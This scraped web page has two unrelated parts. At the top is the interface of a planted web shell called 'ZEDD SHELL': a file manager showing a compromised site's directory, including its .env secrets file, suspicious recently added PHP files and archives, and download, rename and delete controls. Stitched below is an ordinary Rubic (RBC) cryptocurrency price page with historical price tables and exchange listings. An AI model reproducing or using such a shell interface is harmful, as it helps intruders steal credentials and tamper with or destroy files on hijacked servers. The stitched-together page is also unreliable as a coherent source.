ZEDD SHELL

File	Size	Tanggal	Owner/Group	Permissions	Actions
[ . ]		03 Apr 2025, 05:55	5803	0750
[ .. ]		02 Apr 2025, 09:02	5803	0711
[ .well-known ]		16 Mar 2025, 17:36	5803	0755	Zip \| Hapus
[ app ]		22 Sep 2023, 05:38	5803	0755	Zip \| Hapus
[ bootstrap ]		22 Sep 2023, 05:38	5803	0755	Zip \| Hapus
[ cgi-bin ]		02 Apr 2025, 10:41	5803	0755	Zip \| Hapus
[ config ]		02 Apr 2025, 10:41	5803	0755	Zip \| Hapus
[ database ]		22 Sep 2023, 05:38	5803	0755	Zip \| Hapus
[ hooks ]		02 Apr 2025, 10:41	5803	0755	Zip \| Hapus
[ lifeminer ]		02 Apr 2025, 10:41	5803	0755	Zip \| Hapus
[ public ]		02 Apr 2025, 10:38	5803	0755	Zip \| Hapus
[ resources ]		22 Sep 2023, 05:38	5803	0755	Zip \| Hapus
[ routes ]		02 Apr 2025, 19:42	5803	0755	Zip \| Hapus
[ sitemap ]		02 Apr 2025, 21:15	5803	0755	Zip \| Hapus
[ stake ]		02 Apr 2025, 10:41	5803	0755	Zip \| Hapus
[ storage ]		22 Sep 2023, 05:38	5803	0755	Zip \| Hapus
[ tests ]		22 Sep 2023, 05:38	5803	0755	Zip \| Hapus
[ vendor ]		22 Sep 2023, 05:38	5803	0755	Zip \| Hapus
.env	1.18 Kb	23 Sep 2023, 02:29	5803	0644	Download \| Rename \| Kosong \| Delete
.htaccess	927 b	22 Sep 2023, 05:38	5803	0644	Download \| Rename \| Kosong \| Delete
ads.txt	67 b	29 Mar 2025, 17:17	5803	0644	Download \| Rename \| Kosong \| Delete
artisan	1.70 Kb	22 Sep 2023, 05:38	5803	0644	Download \| Rename \| Kosong \| Delete
composer.json	1.83 Kb	22 Sep 2023, 05:38	5803	0644	Download \| Rename \| Kosong \| Delete
custom-plugin.php	6.45 Kb	03 Apr 2025, 05:55	5803	0644	Download \| Rename \| Kosong \| Delete
de0dbc94-3698-40.txt	16 b	09 Jan 2025, 13:35	5803	0644	Download \| Rename \| Kosong \| Delete
error_log	78.90 Kb	02 Apr 2025, 10:29	5803	0644	Download \| Rename \| Kosong \| Delete
index.php	596 b	02 Apr 2025, 10:29	5803	0644	Download \| Rename \| Kosong \| Delete
qing.php	28 b	02 Apr 2025, 10:30	5803	0644	Download \| Rename \| Kosong \| Delete
robots.txt	959 b	02 Apr 2025, 10:44	5803	0644	Download \| Rename \| Kosong \| Delete
sitemap.xml	224.79 Kb	02 Apr 2025, 21:15	5803	0644	Download \| Rename \| Kosong \| Delete
w.zip	1.36 Kb	02 Apr 2025, 10:29	5803	0644	Download \| Rename \| Kosong \| Delete

Rubic Crypto Coin Rank 1568

165,283,584 RBC

24h Vol

1 BTC

1 H

0.01 %

24 H

-3.91 %

7 d

-8.75 %

Today Rubic price in US dollars is currently 0.0145 USD, and if converted to Bitcoin is 0.00000017 BTC. A total of 165,283,584 RBC are currently circulating in the Market. Rubic price is currently experiencing a change of -3.91 %, and check here all cryptocurrency. Over the past 24 hours 0.001 M US dollars Rubic have been traded on Crypto Exchanges. Get Rubic's progress by adding it to your favourites and creating a free portfolio.

Full Name

Rubic

Symbol

RBC

Algorithm

N/A

BTC Price

0.00000017 BTC

BTC Market

29 BTC

BTC 24h Vol

1 BTC

Total Coins Mined

165,283,584 RBC

0.01 %

24h

-3.91 %

-8.75 %

N/A

Website

N/A

RBC Charts

RBC High/Low Price Chart

Historical Data

Date	Open	Close	High	Low
2023-02-28	$0.0214000	$0.0222500	$0.0250600	$0.0195000
2023-03-01	$0.0222500	$0.0211000	$0.0225800	$0.0198100
2023-03-02	$0.0211000	$0.0209200	$0.0238000	$0.0200300
2023-03-03	$0.0209200	$0.0207900	$0.0217900	$0.0192100
2023-03-04	$0.0207900	$0.0202200	$0.0207900	$0.0193100
2023-03-05	$0.0202200	$0.0198900	$0.0202200	$0.0188000
2023-03-06	$0.0198900	$0.0195900	$0.0198900	$0.0191400
2023-03-07	$0.0195900	$0.0188100	$0.0199000	$0.0184000
2023-03-08	$0.0188100	$0.0185800	$0.0197100	$0.0179700
2023-03-09	$0.0185800	$0.0170500	$0.0196100	$0.0156000
2023-03-10	$0.0170500	$0.0164400	$0.0171700	$0.0158600
2023-03-11	$0.0164400	$0.0161700	$0.0184400	$0.0160600
2023-03-12	$0.0161700	$0.0183600	$0.0186900	$0.0161500
2023-03-13	$0.0183600	$0.0188600	$0.0207700	$0.0179000
2023-03-14	$0.0188600	$0.0191700	$0.0213600	$0.0184000
2023-03-15	$0.0191700	$0.0194700	$0.0250000	$0.0177700
2023-03-16	$0.0194700	$0.0193400	$0.0204900	$0.0188400
2023-03-17	$0.0193400	$0.0200000	$0.0214900	$0.0193400
2023-03-18	$0.0200000	$0.0208000	$0.0220000	$0.0199300
2023-03-19	$0.0208000	$0.0201500	$0.0220000	$0.0201400
2023-03-20	$0.0201500	$0.0191600	$0.0203900	$0.0183400
2023-03-21	$0.0192400	$0.0193700	$0.0195600	$0.0190900
2023-03-22	$0.0193700	$0.0188700	$0.0198000	$0.0184600
2023-03-23	$0.0188700	$0.0185500	$0.0197400	$0.0182700
2023-03-24	$0.0185500	$0.0184200	$0.0190600	$0.0180400
2023-03-25	$0.0184200	$0.0191400	$0.0240200	$0.0182000
2023-03-26	$0.0191400	$0.0192000	$0.0194600	$0.0188400
2023-03-27	$0.0192000	$0.0184900	$0.0194400	$0.0182800
2023-03-28	$0.0184900	$0.0187900	$0.0190400	$0.0181000
2023-03-29	$0.0187900	$0.0208300	$0.0228000	$0.0184400
2023-03-30	$0.0208300	$0.0200600	$0.0211600	$0.0198300
2023-03-31	$0.0200600	$0.0202400	$0.0212100	$0.0195000
2023-04-01	$0.0202400	$0.0202200	$0.0220000	$0.0196500
2023-04-02	$0.0202200	$0.0215000	$0.0237700	$0.0199200
2023-04-03	$0.0215000	$0.0214100	$0.0221700	$0.0206700
2023-04-04	$0.0214100	$0.0215600	$0.0232600	$0.0200000
2023-04-05	$0.0215600	$0.0200300	$0.0226800	$0.0189600
2023-04-06	$0.0200300	$0.0182500	$0.0200300	$0.0181700
2023-04-07	$0.0182500	$0.0189100	$0.0193000	$0.0178700
2023-04-08	$0.0189100	$0.0184900	$0.0192100	$0.0182800
2023-04-09	$0.0184900	$0.0185600	$0.0193100	$0.0181700
2023-04-10	$0.0185600	$0.0190300	$0.0195700	$0.0178700
2023-04-11	$0.0190300	$0.0180400	$0.0198200	$0.0176100
2023-04-12	$0.0180400	$0.0180200	$0.0187500	$0.0171900
2023-04-13	$0.0180200	$0.0176700	$0.0188300	$0.0172500
2023-04-14	$0.0176700	$0.0185900	$0.0194000	$0.0175300
2023-04-15	$0.0185900	$0.0187600	$0.0191000	$0.0182200
2023-04-16	$0.0187600	$0.0187500	$0.0197200	$0.0185100
2023-04-17	$0.0187500	$0.0184300	$0.0193300	$0.0178000
2023-04-18	$0.0184300	$0.0186000	$0.0193000	$0.0181300
2023-04-19	$0.0186000	$0.0184600	$0.0193000	$0.0175900
2023-04-20	$0.0184600	$0.0186000	$0.0189000	$0.0177800
2023-04-21	$0.0186000	$0.0182500	$0.0191000	$0.0166800
2023-04-22	$0.0182500	$0.0169600	$0.0189900	$0.0169000
2023-04-23	$0.0169600	$0.0172400	$0.0182600	$0.0165500
2023-04-24	$0.0172400	$0.0170400	$0.0176400	$0.0169700
2023-04-25	$0.0170400	$0.0172800	$0.0174900	$0.0168400
2023-04-26	$0.0172800	$0.0179000	$0.0189000	$0.0169600
2023-04-27	$0.0179000	$0.0176700	$0.0187000	$0.0172800
2023-04-28	$0.0176700	$0.0174800	$0.0186400	$0.0173200
2023-04-29	$0.0174800	$0.0170200	$0.0180900	$0.0163900
2023-04-30	$0.0184000	$0.0180400	$0.0250000	$0.0178700
2023-05-01	$0.0177900	$0.0171700	$0.0181400	$0.0163100
2023-05-02	$0.0171700	$0.0162200	$0.0172800	$0.0156000
2023-05-03	$0.0162200	$0.0162700	$0.0167700	$0.0156800
2023-05-04	$0.0162700	$0.0159800	$0.0165900	$0.0159400
2023-05-05	$0.0159800	$0.0157100	$0.0162800	$0.0152200
2023-05-06	$0.0157100	$0.0151900	$0.0159200	$0.0151600
2023-05-07	$0.0151900	$0.0148500	$0.0157700	$0.0144300
2023-05-08	$0.0148500	$0.0149900	$0.0160300	$0.0140400
2023-05-09	$0.0149900	$0.0139900	$0.0150700	$0.0136100
2023-05-10	$0.0139900	$0.0138300	$0.0143900	$0.0135600
2023-05-11	$0.0138300	$0.0136800	$0.0141800	$0.0131300
2023-05-12	$0.0136800	$0.0142800	$0.0143900	$0.0133500
2023-05-13	$0.0142800	$0.0142400	$0.0149400	$0.0140700
2023-05-14	$0.0142400	$0.0144000	$0.0151300	$0.0140400
2023-05-15	$0.0144000	$0.0148300	$0.0152700	$0.0143100
2023-05-16	$0.0148300	$0.0144800	$0.0155000	$0.0143000
2023-05-17	$0.0144800	$0.0142600	$0.0145300	$0.0140400
2023-05-18	$0.0142600	$0.0131200	$0.0146500	$0.0126900
2023-05-19	$0.0131200	$0.0124200	$0.0136700	$0.0122300
2023-05-20	$0.0124200	$0.0113500	$0.0129400	$0.0112100
2023-05-21	$0.0124600	$0.0113700	$0.0126800	$0.0105500
2023-05-22	$0.0111200	$0.0106900	$0.0114500	$0.0106100
2023-05-23	$0.0112400	$0.0114600	$0.0115800	$0.0111300
2023-05-24	$0.0117600	$0.0113800	$0.0117800	$0.0111500
2023-05-25	$0.0113800	$0.0114900	$0.0130500	$0.0112200
2023-05-26	$0.0114900	$0.0110600	$0.0117400	$0.0107000
2023-05-27	$0.0110600	$0.0105500	$0.0115000	$0.0101700
2023-05-28	$0.0105500	$0.0118600	$0.0118900	$0.0105400
2023-05-29	$0.0118600	$0.0118000	$0.0126800	$0.0115200
2023-05-30	$0.0118000	$0.0118000	$0.0125300	$0.0115700
2023-05-31	$0.0118000	$0.0120900	$0.0125400	$0.0115900
2023-06-01	$0.0120900	$0.0107100	$0.0124500	$0.0106500
2023-06-02	$0.0107100	$0.0110700	$0.0115800	$0.0106800
2023-06-03	$0.0110700	$0.0115100	$0.0116200	$0.0107800
2023-06-04	$0.0117300	$0.0113700	$0.0117300	$0.0105000
2023-06-05	$0.0113800	$0.0110700	$0.0113800	$0.0105300
2023-06-06	$0.0110700	$0.0115400	$0.0118900	$0.0109000
2023-06-07	$0.0115400	$0.0112200	$0.0122500	$0.0111900
2023-06-08	$0.0112200	$0.0111400	$0.0116800	$0.0107700
2023-06-09	$0.0111400	$0.0114300	$0.0115200	$0.0107900
2023-06-10	$0.0114300	$0.0109500	$0.0116200	$0.0105500
2023-06-11	$0.0107200	$0.0113200	$0.0119900	$0.0100100
2023-06-12	$0.0108600	$0.0105400	$0.0110900	$0.0105300
2023-06-13	$0.0105400	$0.0105900	$0.0109500	$0.0103000
2023-06-14	$0.0105900	$0.009859	$0.0109200	$0.009744
2023-06-15	$0.009859	$0.009812	$0.0102700	$0.008993
2023-06-16	$0.009812	$0.009550	$0.0103100	$0.009216
2023-06-17	$0.009550	$0.009725	$0.009829	$0.009300
2023-06-18	$0.009725	$0.009720	$0.009896	$0.009659
2023-06-19	$0.009720	$0.009823	$0.0101800	$0.009567
2023-06-20	$0.009823	$0.0104400	$0.0106200	$0.009576
2023-06-21	$0.0104400	$0.0112900	$0.0117400	$0.0103700
2023-06-22	$0.0112900	$0.0110100	$0.0117900	$0.0107600
2023-06-23	$0.0110100	$0.0106700	$0.0111600	$0.0103600
2023-06-24	$0.0106700	$0.0105600	$0.0125100	$0.0104900
2023-06-25	$0.0105600	$0.0103100	$0.0111600	$0.0103000
2023-06-26	$0.0103100	$0.0101600	$0.0105400	$0.0099050
2023-06-27	$0.0101600	$0.0101700	$0.0109000	$0.0100600
2023-06-28	$0.0101700	$0.009657	$0.0101900	$0.009599
2023-06-29	$0.009657	$0.009069	$0.009841	$0.009000
2023-06-30	$0.009069	$0.009864	$0.0099410	$0.008931
2023-07-01	$0.009864	$0.0099680	$0.0100900	$0.009697
2023-07-02	$0.009510	$0.0111500	$0.0134000	$0.009450
2023-07-03	$0.0111500	$0.0126000	$0.0145000	$0.0103000
2023-07-04	$0.0126000	$0.0120400	$0.0134000	$0.0107800
2023-07-05	$0.0115300	$0.0109000	$0.0116600	$0.0107200
2023-07-06	$0.0109000	$0.0112900	$0.0124700	$0.0106500
2023-07-07	$0.0112900	$0.0126800	$0.0129400	$0.0112600
2023-07-08	$0.0127500	$0.0116000	$0.0130000	$0.0112600
2023-07-09	$0.0114200	$0.0117100	$0.0122400	$0.0113200
2023-07-10	$0.0117100	$0.0115400	$0.0128200	$0.0114200
2023-07-11	$0.0115400	$0.0116600	$0.0126000	$0.0113200
2023-07-12	$0.0116600	$0.0110200	$0.0118400	$0.0108800
2023-07-13	$0.0110200	$0.0122600	$0.0126500	$0.0108900
2023-07-14	$0.0122600	$0.0117100	$0.0126300	$0.0115200
2023-07-15	$0.0117100	$0.0121100	$0.0123500	$0.0116300
2023-07-16	$0.0121100	$0.0117700	$0.0121700	$0.0115500
2023-07-17	$0.0117700	$0.0119700	$0.0131600	$0.0115900
2023-07-18	$0.0119700	$0.0116600	$0.0126000	$0.0116600
2023-07-19	$0.0116600	$0.0116500	$0.0127100	$0.0106300
2023-07-20	$0.0116500	$0.0111000	$0.0116500	$0.0107600
2023-07-21	$0.0112800	$0.0109900	$0.0121200	$0.0103300
2023-07-22	$0.0109900	$0.0120500	$0.0120500	$0.0105100
2023-07-23	$0.0120500	$0.0114300	$0.0123000	$0.0112500
2023-07-24	$0.0114300	$0.0128700	$0.0132900	$0.0113100
2023-07-25	$0.0128700	$0.0118400	$0.0128900	$0.0114300
2023-07-26	$0.0118400	$0.0114300	$0.0118400	$0.0112400
2023-07-27	$0.0111000	$0.0111800	$0.0112300	$0.0111000
2023-07-28	$0.0111800	$0.0111500	$0.0121300	$0.0110600
2023-07-29	$0.0111500	$0.0124000	$0.0130000	$0.0110300
2023-07-30	$0.0124000	$0.0121600	$0.0128300	$0.0121200
2023-07-31	$0.0121600	$0.0125000	$0.0140700	$0.0121400
2023-08-01	$0.0125000	$0.0129600	$0.0129600	$0.0120900
2023-08-02	$0.0129600	$0.0118700	$0.0137200	$0.0118700
2023-08-03	$0.0118700	$0.0112300	$0.0120100	$0.0111900
2023-08-04	$0.0112300	$0.0101000	$0.0112600	$0.0099420
2023-08-05	$0.0101000	$0.0111500	$0.0115100	$0.0100300
2023-08-06	$0.0111500	$0.0105000	$0.0111900	$0.0104300
2023-08-07	$0.0105000	$0.0101800	$0.0106600	$0.0099830
2023-08-08	$0.0101800	$0.0105700	$0.0108500	$0.0100200
2023-08-09	$0.0105700	$0.0102800	$0.0107700	$0.0100200
2023-08-10	$0.0102800	$0.009887	$0.0105100	$0.009701
2023-08-11	$0.009887	$0.0100700	$0.0101500	$0.009701
2023-08-12	$0.0100700	$0.0102000	$0.0103500	$0.009815
2023-08-13	$0.0102000	$0.009868	$0.0104100	$0.009769
2023-08-14	$0.009868	$0.0099910	$0.0108100	$0.009857
2023-08-15	$0.0099910	$0.0099900	$0.0106100	$0.009863
2023-08-16	$0.0099900	$0.0099890	$0.0101400	$0.0099450
2023-08-17	$0.0099890	$0.009450	$0.0101200	$0.009215
2023-08-18	$0.009450	$0.009805	$0.0101900	$0.009235
2023-08-19	$0.009805	$0.009712	$0.0100100	$0.009679
2023-08-20	$0.009712	$0.009742	$0.009757	$0.009694
2023-08-21	$0.009742	$0.009696	$0.009771	$0.009670
2023-08-22	$0.009696	$0.009446	$0.009700	$0.009413
2023-08-23	$0.009446	$0.009430	$0.009526	$0.009179
2023-08-24	$0.009430	$0.0102100	$0.0102100	$0.009223
2023-08-25	$0.0102100	$0.0099000	$0.0103200	$0.009642
2023-08-26	$0.0099000	$0.009729	$0.0104200	$0.009329
2023-08-27	$0.009729	$0.009661	$0.0099760	$0.009533
2023-08-28	$0.009661	$0.009497	$0.009816	$0.009369
2023-08-29	$0.009497	$0.009859	$0.009886	$0.009175
2023-08-30	$0.009859	$0.009533	$0.009884	$0.009459
2023-08-31	$0.009670	$0.009330	$0.0118000	$0.009210
2023-09-01	$0.009730	$0.008849	$0.009754	$0.008753
2023-09-02	$0.008849	$0.008787	$0.009028	$0.008759
2023-09-03	$0.008787	$0.008903	$0.008955	$0.008710
2023-09-04	$0.008903	$0.008636	$0.008955	$0.008579
2023-09-05	$0.008636	$0.009027	$0.009037	$0.008508
2023-09-06	$0.009027	$0.008995	$0.009052	$0.008711
2023-09-07	$0.008995	$0.008994	$0.009058	$0.008901
2023-09-08	$0.008994	$0.008759	$0.009241	$0.008712
2023-09-09	$0.008759	$0.008596	$0.008806	$0.008495
2023-09-10	$0.008596	$0.008775	$0.008885	$0.008469
2023-09-11	$0.008775	$0.008498	$0.008787	$0.008468
2023-09-12	$0.008498	$0.009037	$0.009669	$0.008490
2023-09-13	$0.009037	$0.008977	$0.009277	$0.008915
2023-09-14	$0.008977	$0.009048	$0.009224	$0.008965
2023-09-15	$0.009048	$0.009126	$0.009350	$0.008870
2023-09-16	$0.009126	$0.008906	$0.009139	$0.008781
2023-09-17	$0.008906	$0.009448	$0.0099880	$0.008894
2023-09-18	$0.009448	$0.009371	$0.009605	$0.009311
2023-09-19	$0.009371	$0.009218	$0.009627	$0.009111
2023-09-20	$0.009218	$0.008960	$0.009543	$0.008958
2023-09-21	$0.008960	$0.008842	$0.009270	$0.008759
2023-09-22	$0.008842	$0.008967	$0.009096	$0.008530
2023-09-23	$0.009130	$0.009320	$0.009410	$0.009010
2023-09-24	$0.009320	$0.009070	$0.009450	$0.009070
2023-09-25	$0.009070	$0.009300	$0.009320	$0.008900
2023-09-26	$0.009300	$0.009170	$0.009470	$0.008920
2023-09-27	$0.009170	$0.009490	$0.009490	$0.009170
2023-09-28	$0.009490	$0.009490	$0.009490	$0.009460
2023-09-29	$0.009490	$0.009650	$0.0100000	$0.009200
2023-09-30	$0.009650	$0.009720	$0.009840	$0.009350
2023-10-01	$0.009560	$0.009555	$0.009596	$0.009527
2023-10-02	$0.0101800	$0.0100000	$0.0210400	$0.009720
2023-10-03	$0.0100000	$0.0108200	$0.0128900	$0.0100000
2023-10-04	$0.0108200	$0.0109300	$0.0155400	$0.0105500
2023-10-05	$0.0109300	$0.0109800	$0.0122400	$0.0105800
2023-10-06	$0.0105900	$0.0106700	$0.0107100	$0.0105900
2023-10-31	$0.0134900	$0.0195000	$0.0221100	$0.0133100
2023-11-01	$0.0195000	$0.0364800	$0.0750	$0.0157700
2023-11-02	$0.0364800	$0.0287000	$0.0490000	$0.0255700
2023-11-03	$0.0287000	$0.0302900	$0.0330200	$0.0263900
2023-11-04	$0.0302900	$0.0308400	$0.0329900	$0.0262400
2023-11-05	$0.0308400	$0.0408400	$0.0449100	$0.0303900
2023-11-06	$0.0408400	$0.0351000	$0.0429000	$0.0326900
2023-11-07	$0.0351000	$0.0293000	$0.0385700	$0.0283900
2023-11-08	$0.0293000	$0.0316000	$0.0337200	$0.0277000
2023-11-09	$0.0316000	$0.0302900	$0.0328000	$0.0299800
2023-11-10	$0.0302900	$0.0292500	$0.0315000	$0.0280000
2023-11-11	$0.0292500	$0.0287200	$0.0302100	$0.0287200
2023-11-12	$0.0287200	$0.0272700	$0.0293400	$0.0263600
2023-11-13	$0.0272700	$0.0250700	$0.0278300	$0.0237800
2023-11-14	$0.0250700	$0.0240000	$0.0252000	$0.0231600
2023-11-15	$0.0240000	$0.0250000	$0.0250900	$0.0233800
2023-11-16	$0.0250000	$0.0305700	$0.0352500	$0.0243000
2023-11-17	$0.0305700	$0.0241800	$0.0305700	$0.0218500
2023-11-18	$0.0241800	$0.0259800	$0.0264200	$0.0241800
2023-11-19	$0.0259800	$0.0256500	$0.0266300	$0.0249300
2023-11-20	$0.0256500	$0.0255800	$0.0264100	$0.0249000
2023-11-21	$0.0255800	$0.0231600	$0.0263500	$0.0230100
2023-11-22	$0.0231600	$0.0251500	$0.0255000	$0.0222600
2023-11-23	$0.0251500	$0.0247700	$0.0255400	$0.0241700
2023-11-24	$0.0247700	$0.0295700	$0.0313500	$0.0247700
2023-11-25	$0.0295700	$0.0286000	$0.0309500	$0.0269900
2023-11-26	$0.0286000	$0.0277600	$0.0296400	$0.0268600
2023-11-27	$0.0277600	$0.0255800	$0.0282400	$0.0235500
2023-11-28	$0.0255800	$0.0262800	$0.0278200	$0.0255800
2023-11-29	$0.0262800	$0.0248200	$0.0262800	$0.0240400
2023-11-30	$0.0238800	$0.0238500	$0.0240900	$0.0238100
2024-04-30	$0.0309500	$0.0280400	$0.0325200	$0.0280100
2024-05-01	$0.0280400	$0.0301400	$0.0301400	$0.0278800
2024-05-02	$0.0301400	$0.0292100	$0.0301400	$0.0278800
2024-05-03	$0.0292100	$0.0298500	$0.0304200	$0.0278800
2024-05-04	$0.0298500	$0.0301700	$0.0302800	$0.0279800
2024-05-05	$0.0301700	$0.0278900	$0.0301700	$0.0278800
2024-05-06	$0.0278900	$0.0266800	$0.0289900	$0.0263300
2024-05-07	$0.0266800	$0.0265100	$0.0271500	$0.0261200
2024-05-08	$0.0265100	$0.0255200	$0.0281800	$0.0255000
2024-05-09	$0.0255200	$0.0249200	$0.0257200	$0.0229900
2024-05-10	$0.0249200	$0.0247600	$0.0271700	$0.0240400
2024-05-11	$0.0247600	$0.0247400	$0.0257200	$0.0238700
2024-05-12	$0.0247400	$0.0244100	$0.0255900	$0.0238200
2024-05-13	$0.0244100	$0.0239700	$0.0264500	$0.0235500
2024-05-14	$0.0239700	$0.0227100	$0.0247500	$0.0226100
2024-05-15	$0.0227100	$0.0239800	$0.0243200	$0.0222400
2024-05-16	$0.0239800	$0.0233800	$0.0251500	$0.0225600
2024-05-17	$0.0233800	$0.0233700	$0.0245400	$0.0224400
2024-05-18	$0.0233700	$0.0236300	$0.0240300	$0.0232100
2024-05-19	$0.0236300	$0.0236000	$0.0241700	$0.0227200
2024-05-20	$0.0236000	$0.0244100	$0.0245900	$0.0214400
2024-05-21	$0.0244100	$0.0246800	$0.0248000	$0.0229900
2024-05-22	$0.0246800	$0.0239900	$0.0255000	$0.0230000
2024-05-23	$0.0239900	$0.0239100	$0.0247800	$0.0231700
2024-05-24	$0.0239100	$0.0244200	$0.0252000	$0.0238200
2024-05-25	$0.0244200	$0.0238900	$0.0251400	$0.0230600
2024-05-26	$0.0238900	$0.0244500	$0.0244900	$0.0238900
2024-05-27	$0.0244500	$0.0242000	$0.0244500	$0.0238800
2024-05-28	$0.0242000	$0.0225300	$0.0242300	$0.0214800
2024-05-29	$0.0225300	$0.0221500	$0.0238800	$0.0221200
2024-05-30	$0.0221500	$0.0209200	$0.0222900	$0.0206500
2024-05-31	$0.0209200	$0.0203300	$0.0213200	$0.0201500
2024-06-01	$0.0203300	$0.0195600	$0.0209600	$0.0190000
2024-06-02	$0.0195600	$0.0195100	$0.0203400	$0.0193700
2024-06-03	$0.0195100	$0.0198500	$0.0203600	$0.0195000
2024-06-04	$0.0198500	$0.0197900	$0.0209200	$0.0197800
2024-06-05	$0.0197900	$0.0207200	$0.0210000	$0.0184000
2024-06-06	$0.0207200	$0.0204900	$0.0207200	$0.0194700
2024-06-07	$0.0204900	$0.0181100	$0.0204900	$0.0177200
2024-06-08	$0.0181100	$0.0179900	$0.0181900	$0.0172800
2024-06-09	$0.0179900	$0.0186300	$0.0186400	$0.0179800
2024-06-10	$0.0186300	$0.0192600	$0.0201900	$0.0179700
2024-06-11	$0.0192600	$0.0197700	$0.0206700	$0.0184900
2024-06-12	$0.0197700	$0.0199700	$0.0199700	$0.0182700
2024-06-13	$0.0199700	$0.0190600	$0.0199700	$0.0183700
2024-06-14	$0.0190600	$0.0187500	$0.0194400	$0.0180800
2024-06-15	$0.0187500	$0.0182500	$0.0187500	$0.0181500
2024-06-16	$0.0182500	$0.0194500	$0.0194600	$0.0180700
2024-06-17	$0.0194500	$0.0184000	$0.0198200	$0.0179700
2024-06-18	$0.0184000	$0.0167200	$0.0184000	$0.0162000
2024-06-19	$0.0167200	$0.0171000	$0.0183700	$0.0165900
2024-06-20	$0.0171000	$0.0167600	$0.0173600	$0.0155500
2024-06-21	$0.0167600	$0.0165900	$0.0168100	$0.0159800
2024-06-22	$0.0165900	$0.0165100	$0.0181900	$0.0164900
2024-06-23	$0.0165100	$0.0166500	$0.0167200	$0.0165100
2024-06-24	$0.0166500	$0.0178300	$0.0182000	$0.0161900
2024-06-25	$0.0178300	$0.0172800	$0.0178300	$0.0160000
2024-06-26	$0.0172800	$0.0166400	$0.0179300	$0.0166400
2024-06-27	$0.0166400	$0.0163900	$0.0171300	$0.0156800
2024-06-28	$0.0163900	$0.0165500	$0.0168000	$0.0158600
2024-06-29	$0.0165500	$0.0160900	$0.0165500	$0.0156400
2024-06-30	$0.0160900	$0.0175700	$0.0179200	$0.0155200
2024-07-01	$0.0175700	$0.0183800	$0.0194600	$0.0164200
2024-07-02	$0.0183800	$0.0171900	$0.0197300	$0.0171900
2024-07-03	$0.0171900	$0.0170700	$0.0174100	$0.0165800
2024-07-04	$0.0170700	$0.0159900	$0.0177200	$0.0159900
2024-07-05	$0.0159900	$0.0168100	$0.0169900	$0.0149900
2024-07-06	$0.0168100	$0.0178800	$0.0182100	$0.0164200
2024-07-07	$0.0178800	$0.0173600	$0.0181100	$0.0173600
2024-07-08	$0.0173600	$0.0181900	$0.0190100	$0.0173600
2024-07-09	$0.0181900	$0.0190700	$0.0193900	$0.0180200
2024-07-10	$0.0190700	$0.0221200	$0.0260500	$0.0187200
2024-07-11	$0.0221200	$0.0205700	$0.0298900	$0.0199500
2024-07-12	$0.0205700	$0.0205800	$0.0216200	$0.0198700
2024-07-13	$0.0205800	$0.0199400	$0.0215100	$0.0197800
2024-07-14	$0.0199400	$0.0205800	$0.0211000	$0.0194200
2024-07-15	$0.0205800	$0.0207200	$0.0216900	$0.0205300
2024-07-16	$0.0207200	$0.0217500	$0.0221600	$0.0201600
2024-07-17	$0.0217500	$0.0217100	$0.0224500	$0.0215400
2024-07-18	$0.0217100	$0.0209600	$0.0223000	$0.0202200
2024-07-19	$0.0209600	$0.0217600	$0.0221700	$0.0205600
2024-07-20	$0.0217600	$0.0215600	$0.0219300	$0.0204300
2024-07-21	$0.0215600	$0.0210400	$0.0215600	$0.0192100
2024-07-22	$0.0210400	$0.0198000	$0.0238200	$0.0190800
2024-07-23	$0.0198000	$0.0257500	$0.0257500	$0.0198000
2024-07-24	$0.0257500	$0.0225300	$0.0257500	$0.0221600
2024-07-25	$0.0225300	$0.0216700	$0.0234000	$0.0202500
2024-07-26	$0.0216700	$0.0213600	$0.0221700	$0.0201500
2024-07-27	$0.0213600	$0.0202100	$0.0220000	$0.0196800
2024-07-28	$0.0202100	$0.0214600	$0.0214600	$0.0198600
2024-07-29	$0.0214600	$0.0229500	$0.0238800	$0.0209200
2024-07-30	$0.0229500	$0.0204100	$0.0247800	$0.0201500
2024-07-31	$0.0204100	$0.0223000	$0.0223000	$0.0201500
2024-08-01	$0.0223000	$0.0217500	$0.0250000	$0.0205200
2024-08-02	$0.0217500	$0.0212900	$0.0224000	$0.0193700
2024-08-03	$0.0212900	$0.0196100	$0.0213400	$0.0194200
2024-08-04	$0.0196100	$0.0180000	$0.0197500	$0.0180000
2024-08-05	$0.0180000	$0.0177300	$0.0194600	$0.0162200
2024-08-06	$0.0177300	$0.0184200	$0.0213400	$0.0170800
2024-08-07	$0.0184200	$0.0177200	$0.0217600	$0.0170700
2024-08-08	$0.0177200	$0.0187500	$0.0191000	$0.0170400
2024-08-09	$0.0187500	$0.0180200	$0.0192500	$0.0180200
2024-08-10	$0.0180200	$0.0180600	$0.0184000	$0.0173600
2024-08-11	$0.0180600	$0.0164100	$0.0184800	$0.0164100
2024-08-12	$0.0164100	$0.0151700	$0.0166200	$0.0147600
2024-08-13	$0.0151700	$0.0149600	$0.0162500	$0.0144300
2024-08-14	$0.0149600	$0.0146700	$0.0158600	$0.0146700
2024-08-15	$0.0146700	$0.0135100	$0.0158300	$0.0120800
2024-08-16	$0.0135100	$0.0133800	$0.0149800	$0.0124600
2024-08-17	$0.0133800	$0.0140600	$0.0177500	$0.0133800
2024-08-18	$0.0140600	$0.0131200	$0.0145100	$0.0128700
2024-08-19	$0.0131200	$0.0133700	$0.0145900	$0.0131200
2024-08-20	$0.0133700	$0.0139000	$0.0141600	$0.0132100
2024-08-21	$0.0139000	$0.0142400	$0.0142400	$0.0133900
2024-08-22	$0.0142400	$0.0153000	$0.0180000	$0.0137400
2024-08-23	$0.0153000	$0.0164100	$0.0170700	$0.0145300
2024-08-24	$0.0160500	$0.0159600	$0.0160900	$0.0158800
2024-08-25	$0.0165800	$0.0158900	$0.0165800	$0.0158100
2024-08-26	$0.0158900	$0.0158100	$0.0170700	$0.0158100
2024-08-27	$0.0158100	$0.0154800	$0.0170700	$0.0150100
2024-08-28	$0.0154800	$0.0155500	$0.0161400	$0.0146800
2024-08-29	$0.0155500	$0.0152300	$0.0155500	$0.0152300

Markets

Pair	Exchange
RBC/ETH	bilaxy
RBC/ETH	gateio
RBC/USDT	gateio
RBC/EUR	kraken
RBC/USD	kraken
RBC/USDT	mexc
RBC/USDT	probit
RBC/WETH	uniswapv2

Related Coins

Knight War - Th...

Catfish

Dog (Bitcoin)

Goracle

BlockDrop

SPECIEX

